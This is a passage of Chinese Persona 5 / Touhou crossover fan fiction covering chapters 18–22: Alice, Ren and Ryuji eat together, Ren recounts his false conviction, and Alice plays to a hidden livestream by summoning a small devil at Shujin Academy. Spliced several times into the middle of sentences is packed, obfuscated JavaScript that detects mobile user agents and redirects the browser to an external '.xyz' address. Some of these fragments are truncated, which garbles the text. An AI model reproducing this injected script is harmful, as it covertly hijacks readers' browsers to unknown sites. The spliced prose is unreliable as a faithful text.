l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053143|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “但是城堡的门被关上了！” “为什么？！”摩尔加纳很是惊讶，明明他今天仍然是从大门那里堂堂正正进入城堡的，难道这就是所谓的祸不单行？不过他脑子转得还算快，很快就反应过来，“啊……难道是因为吾辈被抓住了？” 独自探索好几天后，终于在今天找到了秘宝，他一时得意忘形，就被殿堂主人给抓住了。所幸对方看到自己只是一只猫，没怎么在意，挥挥手命令手下把他丢进牢房后就没管了。 只能说，被当做猫有时候也不是一件坏事。 雨宫莲一直用余光观察着爱丽丝，在对方又轻松解决掉一个士兵后，开口询问：“爱丽丝，你是从哪里进来的？” 爱丽丝明白雨宫莲是想知道其他的出入口，但不凑巧的是她不是用常规方法进来的。她略带歉意地指了指头顶，委婉的提醒：“我是妖怪嘛，当然是从天上。” “真的假的！妖怪好厉害！”爱丽丝觉得坂本龙司可以去当个捧场王。 而摩尔加纳显然就没有那样的心情：“人类可不会飞，得另外找路。” “那还是走我们进来的那条路？” 这提议一出，爱丽丝当机立断停下脚步。 进入城堡的时候没用通风道，回去就更不可能用那个了，她实在不想去想象自己钻进通风道的场景。 在上层探索的时候，她也找到了城堡的构造图，依那张图来估算，现在他们的位置距离雨宫莲口中的那条路没有多远，只是隔着一个大厅，就算在这里和他们分开应该也不会出问题。 于是告诉三人在入口处汇和之后，爱丽丝与他们分别，离开的时候，还顺手“带走”了一波士兵，以减轻他们被追赶的压力。 回去的路要比来时更短，只是当爱丽丝在那个入口站了一会后，她才后知后觉地想起一件事。 在原作里，这几个人被鸭志田卓堵在了城堡大厅，就是那个时候，坂本龙司选择了直面自己的内心，觉醒了人格面具。 换句话说，她大概、可能、也许是完美地错过了那副场景。 现在回去还来得及吗？爱丽丝盯着大门，目光略显纠结。 脑内计算了一下她绕远路的时间和等待的时间，她觉得人多半都快出来了，放弃了再回去一趟的念头。 不出她所料，雨宫莲和坂本龙司很快从通风道里钻了出来，后者的衣服已经变成了怪盗服。如同原本的剧情，坂本龙司觉醒了属于自己的人格面具。 被爱丽丝上下打量的坂本龙司有些不自在地挠了挠头，正准备解释一下自己的服装问题，就见对方收回了视线。 “那只猫呢？”两人的身旁并没有摩尔加纳的身影。 「都说了吾辈不是猫！」不知为何，坂本龙司耳边浮现出摩尔加纳愤懑的声音。 “他和我们分开了。” “是吗。”爱丽丝兴致缺缺，仿佛就是随口一问。 摩尔加纳没有和两人一起行动，这点也和原剧情一样，结果她的加入并没有让剧情发生多大改变，那她是来干嘛的？ 哦，是来见识一下殿堂，随便蹭抽卡积分的。 19. 第 19 章 “接下来有什么打算？”虽然嘴上这么问，但爱丽丝心里很清楚，既然已经出了城堡，下一步就应该是回现实世界。她甚至已经开始思考下次要用什么理由来找雨宫莲。 雨宫莲轻轻歪头：“回家？” “喂喂，你这回答也太没劲了吧。”坂本龙司面带无语，手搭上了雨宫莲的肩膀，因为刚刚的事，他更为亲近对方了，“至少去哪里吃顿饭呗，我们三个一起。” 雨宫莲对这个提案没有意义，他本就不擅长拒绝他人，更别提无视别人的好意，问题是爱丽丝愿不愿意。 感受到两人询问的视线，爱丽丝挑眉，半开玩笑地回答：“好啊，如果你请客的话。” 她没理由拒绝这个能加长相处时间的提议，但也还记得自己身无分文的事实。 “没问题！”坂本龙司毫不犹豫地回答，竖起大拇指，“我知道哪里有好吃又便宜的店，我们走吧！” “诶，可以吗？”这下轮到爱丽丝诧异了，本来只要对面稍微露出难色，她都准备随便找个借口回绝的。 只是看上去很不良的黄毛少年确信地点点头：“大丈夫说到做到，就当是感谢你今天的帮助！” 爱丽丝不禁有些茫然，她自认为今天基本上都在摸鱼，所谓的帮助是指什么？不过她还不至于笨到将这种问题问出口，顺势就答应了对方的邀请。 从哪里进就从哪里出，通过异世界导航回到现实世界后，他们的身影出现在了那条巷子里。和进入时相同，周围没有人迹。 一离开认知世界，雨宫莲和坂本龙司的衣服就自动变回了原状，他们的背包也跟着落在了脚边。 坂本龙司有些遗憾地看了一眼校服，其实他觉得变化后的衣服还蛮酷的。他提起背包，朝另外两人示意：“走吧，我来带路！” 三人朝着坂本龙司口中的店出发。 路上的气氛还算不错，坂本龙司先是半真半假地抱怨了一番今天的疲惫，而后讲起了高中生最爱讨论的八卦趣事。雨宫莲时不时会开口附和，爱丽丝也会偶尔搭上一两句话。 其实黄发少年真正想讲的并不是这些，他有很多问题想问，比如摩尔加纳到底是不是猫，比如为什么摩尔加纳要坚称自己是人类，又比如雨宫莲为什么会知道爱丽丝是妖怪。但那些问题在他嘴里转了个圈，最后又被吞回了肚子。 今天发生的事不多不少，每一件都不怎么寻常。他虽然看上去大大咧咧，很快就把那些全盘接受了的模样，实际上只不过是暂时将一些乱七八糟的问题堆在了心底。人的适应力很强，同时也是有限度的，也许他需要花一晚上的时间来重塑自己那可怜的世界观。 连坂本龙司都没提起那方面的话题，另外的一人一妖自然也不可能主动去触及，他们在心照不宣的聊天中走进了饭店。 店内的顾客不多，稀稀拉拉坐了几个。这对他们而言是件好事，几人选了个不会被人听到谈话的偏僻角落坐定。 点完餐，坂本龙司回顾了一下今天的经历，不由得对雨宫莲发出感慨：“今天找上你还真是找对了。” 因为有雨宫莲的帮助，他才能进入城堡，才能找到扳倒鸭志田的突破口，才能认清自己的内心。如今他已经打定主意，要和雨宫莲成为好兄弟。 “那个啊……我想趁现在问一下，你那个‘监护观察’说真的是怎么回事？”而成为好兄弟的第一步，当然是要对对方有更深入的了解。 “诶？”雨宫莲有些怔愣，不明白为什么话题突然跑到这上面去了。 坂本龙司移开视线，不去看雨宫莲，嘴里说着：“因为我的事都已经被你知道了，也想听听你那边的情况嘛？” 其实他在怀疑那个所谓的“故意伤害罪”，哪怕只是短时间的接触，也足够让他理解雨宫莲是个怎样的人。会对自己伸出援手，会开口鼓励自己，会相信自己，明明是这么好的一个家伙，究竟是出于什么理由做出伤害他人的举动？ 雨宫莲抿了抿嘴，对要不要回答有些犹豫。 之前他不是没尝试对别人讲过，但是没有人愿意听。法院的一纸判决，直接让他的人生拐了一百八十度的大弯，就连父母都不曾倾听他的辩解，选择直接把他当作人生中的污点。 到后来，他习惯了别人对自己的避之不及，学会对那些风言风语置若罔闻。 “不想说就别说。”爱丽丝撑着脑袋，似笑非笑地扫了一眼两个少年，语气里丝毫没有可能会破坏剧情的罪恶感，“这种十有八九是冤罪的东西，就算说出来也没什么意义。” 最多不过是让人徒然气愤一场。他们不会因为吃过亏就改变自己的作风，但同时也无法更改这个结果，取不下被强行贴上的标签。 而且看雨宫莲的表情就知道，对方已经放弃了为自己辩解的想法，想必是在这件事上失望得彻底。 坂本龙司张嘴想要反驳什么，又觉得爱丽丝说得也有道理，憋屈地闭上了嘴。雨宫莲看着那样的他，神色不由得柔和了下来。 “需要我回避一下吗？”爱丽丝察觉到雨宫莲的变化，随口一问，毕竟坂本龙司扯的那个理由里又没有包含她。 雨宫莲摇摇头：“没关系。” 讲给一个人听也是讲，讲给两个人听也是讲，而且反正也不是什么特别新奇或复杂的故事。 雨宫莲的思绪回到了那个夜晚。 因为一些事，他那天回家的时间晚了一些，独自走在路上的时候，他突然听到不远处传来女性的呼救声。朝着声源赶过去的他，目睹的是一个中年男人正试图强迫女性的场景。 来不及多想，他上前把男人从女性的身边拉开。做这个动作的时候，他嗅到了男人身上浓厚的酒味，他敢肯定对方一定喝了不少。 这举动自然引起了男人的不满，那人愤怒地握紧拳头，作势要给这个坏他好事的毛头小子一个教训。 他轻松躲过了男人的拳头，男人却因为惯性撞上了一旁的障碍物，磕破了脑袋。 雨宫莲没想到事情会发展成这样，一时有些不知所措，更让他慌乱的是，疼痛让男人因为酒精罢工的头脑重新变得清醒。他看到男人拿出手机，很快又放下。 “你这小子，居然敢打搅我的好事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053144|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”那人捂着自己受伤的地方，恶狠狠地宣言，“给我等着，我要起诉你！” 巡逻的警察来得很快，而之后的发展宛若流水一般。 他被那个男人起诉，站在被告席上，法院里没有原告方的身影，但那个他想帮助的女性成为了原告的证人。 “是的，我当时在一旁看到，这位少年对他实施了暴力。” 在混沌的思考和嘈杂的喧闹声中，唯有这句证词，他听得一清二楚。 他没有去看那名女性的表情，也不再试图开口辩驳，法院很快就下达了判决。他被判为“故意伤害罪”，需要接受一年的监护观察。 这件事发生之后，同学们避开他，亲戚们疏远他，父母也厌恶他。他逐渐厌烦起了老家的空气，心甘情愿跑到一个陌生的地方过上寄人篱下的生活。 虽然，即便换了一个全新的环境，那个标签也依旧还贴在他的身上。 “没有变化啊……”爱丽丝两手抱胸，靠在椅子上，轻轻嘀咕了一句。 她扫了一眼黄发少年，不出所料看到对方满脸怒火。 “可恶，这算什么事嘛！你明明什么都没做错！”坂本龙司气得锤了一下桌子，杯子里的水因为这个动作而剧烈晃动，“这个也是那个也是，为什么社会上有这么多像垃圾一样的大人？！” 雨宫莲看着他的拳头，无奈地叹了口气。 他其实很赞同爱丽丝的观点，就算把这些事说出来也没有意义，时间过了这么久，他的风评早就已经固定下来。不过既然坂本龙司想听，他也就讲了而已。 但明白对方在真心实意替自己感到生气的时候，雨宫莲的内心还是涌上了些许喜悦。 他们点的食物在很好的时机被端了过来，坂本龙司缓了缓，收起自己的愤怒，拿起筷子：“好了，快吃吧，你的这顿我也请了。” 听完雨宫莲的故事后，他越发觉得对方和自己同病相怜。他也尝受着被本应友好相处之人冷眼相待的滋味，突然被所有人孤立的感觉实在算不上好。 但雨宫莲显然比他更为坚强。他对自己很有自知之明，如果换作他遇上这种情况，他一定会比之前被鸭志田算计的自己更加自暴自弃。毕竟他虽然是被激怒了，但动了手也是事实，而雨宫莲什么都没做，就被冠上莫须有的罪名，还被救下的人背叛了。 “作为同样遭受了不合理对待的人，这之后也要好好相处啊，”坂本龙司表示这个兄弟他认定了，“以后管我叫龙司就好，莲莲！” 雨宫莲因为这个叫法愣了一下，眨眨眼，而后扬起嘴角，露出发自内心的笑容：“嗯，请多关照，坂本。” “等、你！”坂本龙司实在没想到身旁的家伙居然能如此不上道。 “噗。”旁观的爱丽丝忍俊不禁，这场面不管看几次都能把她逗笑。 “别笑啊！”坂本龙司转头表达不满。 可恶，为什么这两个家伙笑起来都这么好看啊，搞得他都生不起气了。黄发少年满脸写着郁闷，想说些什么却不知道该说些什么，最后他认命地叹了口气，专心吃起了自己的晚饭。 20. 第 20 章 只要不出意外，一顿简单的晚饭花不了多少时间，所以愉快的用餐时间并没有持续太久，他们在店员的招呼声中离开了那家饭店。 时间虽然不算太晚，但两个学生还有作业这种东西，今天耗费的体力也不少，是时候各回各家了。 在彻底分开之前，爱丽丝递给了雨宫莲一个小小的东西。 “这是？”雨宫莲看着躺在自己手心里的御守，问到。 “是送给倒霉的好心人的谢礼。” 旁边的坂本龙司一时不知道自己是该不该吐槽，倒霉、好心人、谢礼，他觉得这三个词拆开来对雨宫莲说都挺合适，但是连起来一说又怎么听怎么奇怪。 当然爱丽丝知道这个回答并不是雨宫莲想要的答案，她眉眼微弯，解释到：“是从某个稍微正经点的巫女那里拿的御守，姑且能逢凶化吉，我希望你能随身携带。” 这世界远超想象地危险，带着这个御守，虽然不保证能变得多幸运，但一定能保证安全。毕竟她不可能一直关注雨宫莲，为了让人不要在自己不注意的情况下狗带，为了不失去一个友善的提款机，为了之后的拯救世界不出更多的岔子，给点防身的东西也无可厚非。 “妖怪也会用这种东西吗？”坂本龙司好奇地看了几眼御守，没发现什么特殊之处。 如果换作五条悟，应该一眼就能看出，这御守上附着的浓厚的神明气息，足以让特级诅咒外的所有诅咒退避三舍。 “妖怪当然不用，给人类用的，”爱丽丝不着痕迹地瞟了一眼坂本龙司，意有所指地说，“下次干脆多带几个来吧。” 坂本龙司没反应过来这句话的含义，只是有些惊奇：“下次？” 正默默研究御守的雨宫莲抬眼，想起今天下午校门口的景象，不由得有些头疼：“又要站在校门口吗？” 他想说要不交换一下联系方式，又觉得妖怪大概是没有手机这种东西的。 “谁知道呢。”爱丽丝模棱两可，没有给出准确的答复，“说不定会在意外的地方遇上，毕竟妖怪从来都是随心而为。” “总之下次再见咯，”她很自然地就朝阴暗处走去，一边朝两人抬手示意，一边露出有些坏心眼的笑容，“莲莲、坂本。” 知道爱丽丝的身影完全消失在黑暗中，两人才堪堪回过神来。 知道爱丽丝是在用刚才的事情调戏自己，坂本龙司有些羞恼地抓了抓头发，抱着复杂的心情嘀咕了几句。身旁的雨宫莲则是照顾着他的心情，压下了嘴角的笑意。他们在又互相聊了几句后道别，各自踏上回家的路。 那个御守，最后在两人的讨论中被雨宫莲放进了背包。不管它灵验不灵验，终归是爱丽丝的一片好意，他决定听从对方的建议，将之随身携带。 * 独自走在昏暗的道路上，爱丽丝垂着眸子，神色不似刚才和两人呆在一起时那么放松。在外人眼里，她仿佛正在认真思考什么严肃的问题。 实际上她是在脑内和系统对话。 【你说直播？】 【对，你位于日本的分意识们都回馈了相同的信息。】 爱丽丝很想皱个眉，但考虑到系统所说的直播还处于现在进行时，她还是管理住了自己的面部表情。 【是在校门口等人的那段时间开启的，我判断了一下，没有当时就告诉你。】 这么说来这直播还持续了不短的时间，爱丽丝心下分析。 她明白系统不直接告诉她的原因，无非就是在不知情的状态下她才能表现得更自然。当时的情况可不能让她三心二意，谁知道有多少双眼睛在观察她，其中又有多少双毒辣的、有眼力的，能注意到她的不对劲。 【分意识那边有收集到一些情报，你要现在听吗？】 爱丽丝脚步不停，目标明确地朝某个地方走去。她在做足了心理准备，保证自己不会因为听到什么信息而做出奇怪的表情后，对系统道：【说吧。】 这世界某一天突然出现了一个神奇的直播间，说是直播间，其实像是系统一样，是一张薄薄的光屏。据系统说，光屏突然跳出来的时候，她的分意识们还以为是系统出了故障，又或者是新的机能。 没想到那屏幕属于别的系统。 屏幕出现后，首先会给出两个选项，进入和退出，都是字面意义上的功能。进入后也可以随时退出，退出后也可以再呼叫屏幕，长时间不选，会默认退出。 上面这些，是分意识们通过自己试验得出的结论，下面的，则是从弹幕和其他人嘴里总结出的内容。 直播间会直播这颗星球某个地方正发生着的真实故事，直播开启的时间不定，直播的对象也是随机的，至今没找到共同点。不过良心的是，也许是出于对观众的人道关怀，直播内容会根据地区发生变化，不会出现听不懂里面人语言的情况。 只有在直播间开启的时候，一般人才能想起有关直播的事，在直播间关闭的时间段，他们会忘掉直播的存在，也不会记得自己在里面看到了什么内容。与直播内容相关的人，以及位于直播对象周遭一定范围内的人，是无法得知当次直播的。 有关直播的记录无法被保存，写在纸上也好，用其他方式记录也罢，在直播结束后那些东西都会消失。 爱丽丝推测，一般人大概指的是没有特殊能力的普通人，而随着直播对象的移动，可能上一秒还在看直播的人，下一秒就会忘记直播这个东西。 也就是说，对大多数人而言，直播就只是多了个乐子，还不一定是乐子。 至于什么样的人算相关者，一定范围又有多大，这些统统属于不确定因素。 当然如果她花时间去试验的话，倒是能得到结果，但她不确定有没有那个必要。 【今天被直播的对象是我？】 【没错。】 这是其他马甲用自己的双眼确认的信息，所以不会出错。 为什么是她？一想到从下午开始，就一直有个隐形摄像头在她周围乱晃，她就有些不自在。 但还好是她。如果对象换成雨宫莲或者坂本龙司又或者是摩尔加纳，认知世界里的冒牌高卷杏就会被很多人看到，那她只能意思意思，同情一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053145|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不幸风评被害的高卷杏了。 不妙的是他们进入认知世界的场景，以及关于异世界导航和认知世界的一些讨论都被人看得一干二净。又有些幸运的是，摩尔加纳今天还没有讲到重点，坂本龙司觉醒时她也没有在场，一时半会大概不用担心那两个人的安危。 篡改人的内心，又或者引发废人化，这种能力不管被哪方知道，可能都不会有什么好下场，更别提有这能力的目前只不过是没有后台的毛头小子。 虽然有的聪明人可能已经通过已知的信息猜到了什么，但聪明人一般不会轻举妄动。 【直播会持续多久？】 【短的几分钟，长的有几天，这次直播还在继续。】 爱丽丝默然，这直播间也算是任性妄为，连直播时长都是这么的自由。 【你说要是我回到隙间之里，这直播也会跟过去吗？】 系统对此发出一声充满不屑的冷哼：【也不看看是谁的地盘，它不可能在我不同意的情况下窥视那里。】 她在心里为可靠的系统鼓了鼓掌，若有所思。 被直播的对象没法知道自己正在被直播，但她不同，她有外挂，这外挂还有能力屏蔽掉直播间，再加上这直播间似乎不如某些小说中设定的那样神通广大，不能展示当事人的内心。如果能将之利用得当，说不定…… 她一边在心里思考计划，一边任由一部分思维发散。 本以为这世界把好几个世界观随意揉成一团已经足够混乱了，没想到在此之上还涉及了直播体，乱上加乱。想必最初直播间问世的时候，一定引发了不小的动荡。 也不知道这个直播间是如何诞生的、存在了多久，分意识说弹幕都对直播透露出习以为常的态度。 以后不会还要再出现什么稀奇古怪的设定吧？光是现在的异能、咒术、改心、魔法、柯学……都已经足够麻烦了。 不过她又想，这世界都这样了，就算再混沌一点，她应该也能平静地接受，她都快习惯突如其来的新设定了。 伴随着脑子里那些乱七八糟的想法，爱丽丝走到了自己的目的地——赫然是晚上刚离开的地方，雨宫莲所就读的秀尽学园。 一抬眼，入目的便是丑陋而扭曲的诅咒在学校里游走的场景，爱丽丝不由得低声感叹：“这所学校，真的是……” 她在下午的时候就已经发现，秀尽学园里有不少诅咒的气息，如今到了夜晚更是变本加厉。 虽然学校确实容易诞生这类东西，但秀尽学园里的诅咒多得有些不正常，她猜有部分原因可能是鸭志田卓的暴行导致学生们堆积了不少负面情绪。害怕、恐惧、不满、憎恨，这些全部都能催生诅咒。 如果放着不管，会不会有一天出现二级或者以上的诅咒？ 爱丽丝脑海里闪过某位少女跳楼的场景。要是这世界的她不够幸运，没有被树枝挂住，而是当场身亡的话，也许高级的诅咒就会诞生了吧。 不过那些事对现在的爱丽丝而言都无所谓，紧闭的校门无法对她造成任何阻碍，她轻轻松松就侵入了这所学校。 21. 第 21 章 爱丽丝一边在学校里闲庭信步，一边操纵着人偶将周遭的诅咒祓除。当然这举动不是为了这所学校里的师生或员工，只是这些诅咒又挡路又碍眼，她就顺手把它们清理掉了。 “恶魔召唤、恶魔召唤……”她用那本从未打开过可能今后也不会打开的书轻轻敲了敲自己的脑袋，做出正在回想什么的姿态。 视线经过一旁的教室时，她朝身旁的人偶吩咐了一句，人偶遵从指令，飞进教室抱了一盒粉笔出来。 最后爱丽丝停在了学校里一处比较空旷却又阴暗的地方，连清冷的月光都被拒之门外，唯一的光源只有人偶手中的提灯。 思考了一下，她召唤出更多的人偶拿起粉笔，并操纵它们在地上涂涂画画。而她本人则是站在一旁，对着手上的书开始发呆。 虽然看上去在动的是人偶，实际上操纵的还是她，累的也是她，只是不得不承认人偶还是很便利的，至少做事的效率要比自己上手来得更高。而且因为实际动手的是人偶，不会在这些东西上留下她本人的痕迹。 虽然她一个妖怪根本不用担心这些事。 毕竟数量多，图案也比较简单，人偶们的工作很快就进入了收尾阶段。向系统确认了一下直播是否还在进行，得到肯定的答复后，爱丽丝闭了闭眼，开始了自己的表演。 随手点了点身旁一个人偶的额头，让它把回收完毕的粉笔盒带回教室后，她对着面前的法阵确认道：“廉价的素材、最低级的法阵、没有月光的环境，怎么说都只能召唤出小恶魔吧？” “没想到我还有用这种召唤阵的一天。”她轻叹一声，开始调动起自己的魔力。 法阵立马就有了回应，诡秘的红光掩盖了提灯的光芒，映照在爱丽丝的脸上。她一脸平淡，似是习以为常。在越发强烈的红光中，一个身影逐渐成型。 最后红光散去，出现的是一名红发少女，背后的恶魔翅膀透露出她的身份，脚下本来存在的召唤阵在完成作用后消失得无影无踪。 “晚上好，爱丽丝大人。”无名的小恶魔眨了眨眼，看清召唤自己的人之后，果断向爱丽丝行礼，“特意召唤我这样的低阶恶魔，请问有何吩咐？” 众所周知，红魔馆里帕秋莉的使魔也是小恶魔，但此小恶魔非彼小恶魔。 归根结底，小恶魔乃是较弱的恶魔的统称，并不是特指某一个角色，而系统提供的小恶魔马甲就像妖精马甲一样，是量产的。换句话说，就算同时出现几个小恶魔，也是理所当然的事。 眼前这个小恶魔，也是从卡池里抽出来的马甲之一，在召唤的瞬间让分意识附了上去，以便演出接下来的对角戏。虽然这种量产马甲可以在进行简单设定后自主活动，但果然还是她亲自上阵更保险一点。 而之所以采用召唤的形式让新马甲登场，也是有原因的。 通过召唤阵建立起马甲间的联系，一来可以让小恶魔以爱丽丝的魔力充当食粮，减去吃喝拉撒等生理活动，二来她们可以直接联络，不用再经由系统转达。 除此之外还能迷惑观众的视线。 召唤、恶魔，这些神秘而不符合现实且充满奇幻色彩的玩意，总是能引起人的好奇。她所表现出的力量越不同寻常、行为越扑所迷离、目的越飘忽不定，就能越让人把注意力集中在她本人身上，从而忽视一些其他东西。 “当然是很简单的工作，”在脑内快速复习一遍自己的打算，爱丽丝手向下指了指，“监视这所学校。” “监视……吗？”小恶魔的目光摇摆了一下，在短暂的怔愣后点了点头，“确实是很简单的工作。” “发现什么异常就向我报告。”爱丽丝吩咐到。 她觉得自己来了这么一出，看直播的观众里说不定会出现想要模仿她召唤恶魔的人，所以法阵虽然简陋，也是她从自己脑子里翻出来的货真价实的召唤阵。要是有人进行尝试，在条件达成的情况下确实也能召唤恶魔，不过这世界没有其他恶魔，故而被召唤出的只会是她的马甲。 既然普通人会失去直播有关的记忆，那么会举行召唤的一定是有特殊之处的人，用这种方式让自己的马甲光明正大地与召唤者产生联系，既能收集情报又能积攒点数，可谓一举两得。 抱着以上想法，她刚刚甚至特意留了给观众们记忆法阵图案的时间。 完美执行了自己计划的爱丽丝想着差不多该回家睡觉了，正准备和自己的分意识道别，就听到了对方的声音。 “爱丽丝大人，”小恶魔语气有些意味深长，“这段时间神绮大人一直在念叨您，我能向那位大人汇报您的情况吗？” 爱丽丝肉眼可见地陷入僵硬。 这家伙，居然擅自开始加戏，而且终于忍不住把罪恶的双手伸向那个大家喜闻乐见的设定了！就这么想给魔界添戏份吗？！ 抱怨归抱怨，该接的戏还得接。 “不行，不能，不可以。”她张口就来了个否定三连，意志坚定地表达了自己的拒绝，“要是让那个任性的神跑到这边来，我会很麻烦的。” 再说她又没抽齐神绮的碎片，神绮之前还有好几个马甲在排队等兑换呢。 不过她已经明白了分意识的想法——借由两个马甲的对话不着痕迹地解释一下设定，顺便抛出更多的谜团，进一步吸引观众的注意力。 就像电视剧里总会源源不断冒出新的设定、新的人物，以及似乎包含了复杂关系的故事那样，既然开始表演，自然要让观众们看得过瘾才行。 “但恕我直言，现在这个时代，能召唤恶魔的……”对面的小恶魔欲言又止。 “就几个是吗？”爱丽丝很流畅地接上了她的未尽之言，用手指敲了敲自己那本书，反驳道，“至少还是有那么几个。再说魔界里数量繁多的低阶恶魔少了一个，她完全可能注意不到。” “所以，只要你不通风报信，她是没办法定位我的。”爱丽丝的眼神里略带一丝警告，连声音都压低了一些，“明白我的意思吗？” 小恶魔很是上道的乖巧点头：“当然——是‘禁止事项’，对吧？” 怎么又突然冒出来了个新设定？爱丽丝无奈地移开视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14053146|149065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线。同为一个人，当然不可能看不出对方正在打一些歪主意，她配合地给出答案：“对。” 就算因为马甲不同导致思维模式有些许差别，也终归还是自己，没有不信赖和怀疑的选项。 “我明白了，”小恶魔的嘴角翘起一个弧度，特意又强调了一遍，“既然是‘禁止事项’的话。” 看对面的自己好像没有继续增加设定、提升表演难度的打算，她便顺着流程结束了对话：“那就这样吧，好好工作。” 她呼唤了一声“紫”，隙间就精准地在她身后展开，当然这不过是做做样子，实际上打开隙间的还是系统。 朝小恶魔摆了摆手，在对方“祝好梦”的话语中，爱丽丝转身步入隙间。 隙间完全合拢后，小恶魔的视线还停留在刚刚的地方，喃喃自语：“那就是传闻中的幻想乡贤者，隙间妖怪的力量吗？嗯——” 沉思了一会她就收回目光，眼露好奇，开始打量起周遭的环境。她的姿态一改在爱丽丝面前时的规规矩矩，变得放松自在了起来。 表面上是这幅模样，实际上正在向系统确认情况。 【怎么样？现在直播的是哪边？】 【学校。】系统很快就给出了答案。 隙间打开的时候，白银突发奇想，把爱丽丝马甲里的主意识和小恶魔马甲里的分意识进行了交换，这操作听上去挺不可思议，但在系统的帮助下轻而易举的完成了。 她想确认一下，直播的判定是身体还是意识。 在意识交换之前，直播的中心人物一直是爱丽丝，如果直播判定对象是依靠外表的话，那现在直播的场景应该就在隙间之里，而不是秀尽学园。也就是说，直播跟随的是意识？ 当然，也有中途换主角的可能性。 对直播间的性能有了更多的猜测，她继续着自己的表演：“没想到会跑到外界来，爱丽丝大人总是在奇怪的地方很执着啊。反正幻想乡都出事了，干脆回魔界居住不好吗？” “那个朋友就那么重要吗？”她一边半真半假地说些算不上牢骚的话，一边在学校内晃悠了起来，“大人物的想法真是让恶魔摸不着头脑。” 在把学校左三圈右三圈里里外外翻来覆去逛了几遍，保证观众们都能记住学校的构造，并于各个角落设置好监视魔法之后，小恶魔终于停下了闲逛的脚步。 摆出一个疑惑的表情，她托着下巴自言自语：“难得那位大人会召唤使魔做事，还以为这里有什么特别的东西，结果什么都没有呀？” 这是实话，除了某处地方的诅咒恶心得她根本不想靠近之外，这所秀尽学园真的就只是一所平平无奇的学校。也许它在社会上取得了点什么荣耀，但那对于妖怪而言毫无意义。 “算了，反正只要完成命令就行，怎么说也是爱丽丝大人的吩咐。”说到这里，小恶魔眯起双眼，用有些兴奋的语气感叹，“哼哼，没想到居然有机会为爱丽丝大人做事，要是被其他恶魔知道的话……” 像是想起什么令人高兴的事，她不由自主笑出了声。 22. 第 22 章 这种自娱自乐并没有持续多长时间，夜晚的学校并没有什么值得监视的东西，很快她就感到了无聊。 小恶魔抬起头，目光扫过那些高楼，最后定在一处正被月光宠幸的地方。她转了转眼珠，露出即将恶作剧一般的笑容：“反正学校现在也没事，不如做点更有意义的事好了，在不触及‘禁止事项’的范围内。” 背后的翅膀张开，她腾空而起。 真正用翅膀飞翔就会发现，它的感受和用魔法飞行还是有一定的区别，不过所幸翅膀现在就是她身体的一部分，如何使用翅膀就如同本能一般刻在身体里，不会因为是第一次而出现什么差错。 没过多久她就降落到了刚刚看好的地方。没有再装模作样地说几句台词，她直接在月色中用手指割破了自己的手腕。伤口的血液没有遵从引力的指引向下流淌，而是无视重力法则，汇聚在了她的指间。 因为提前让系统帮忙减轻了痛觉，所以她的脸上并没有出现痛苦的神色，反而带着略显孩子气的笑容，怎么看怎么诡异。 只是她本人没法感受这副光景，仍然毫无自觉地继续着那令人不舒服的行为。 以自己的血为颜料，小恶魔愉快地哼着不知名的曲调，在墙上画起了画。 说是画，其实是和爱丽丝刚才操纵人偶画的法阵类似的东西。明眼人一眼就能看出，和刚刚那个怎么看怎么简陋的法阵相比，这次的这个图案精美又复杂，单单只是刚画出的这一小部分，就足以证明它的不同寻常。 没错，这法阵也是从爱丽丝脑子里翻出来的恶魔召唤用魔法阵，而且是之前那个法阵完全比不了的高级品。其图案之复杂，换个普通人，哪怕让其参照着画，可能也画不了多好，但她却像是画过很多次一样，动作毫无滞涩。 她自己也察觉到了这一点。 说起来，自从开了多个小号之后，她的记忆力思考力之类的仿佛都得到了提升，就像是大脑被开发了一般，或者说被激发了她一直没察觉的潜力。 果然她还是有些自恋的，察觉到了这个想法之后，她又很快将之抛于脑后，专注于手里的事情。 就算动作再怎么熟练，将整个召唤阵完整画完也还是花费了不少时间，直至月亮完全升至头顶，她才堪堪完成自己的“画作”。 经由魔力处理后的血液暂时不会凝固，因此这个由鲜血绘成的召唤阵，在月光的照射下，其线条如同在游动一般，着实令人有些毛骨悚然。但如果忽视掉它的原料，这个召唤阵又能称得上是艺术。 也不管还在坚持看直播的观众是怎么想的，小恶魔捂着手腕后退两步，端详一番墙上的成品后颇为自得地点了点头：“完美，不愧是我。” 完全看不出这是第一次动手画出来的玩意儿，莫非她还有画画的才能不成？ 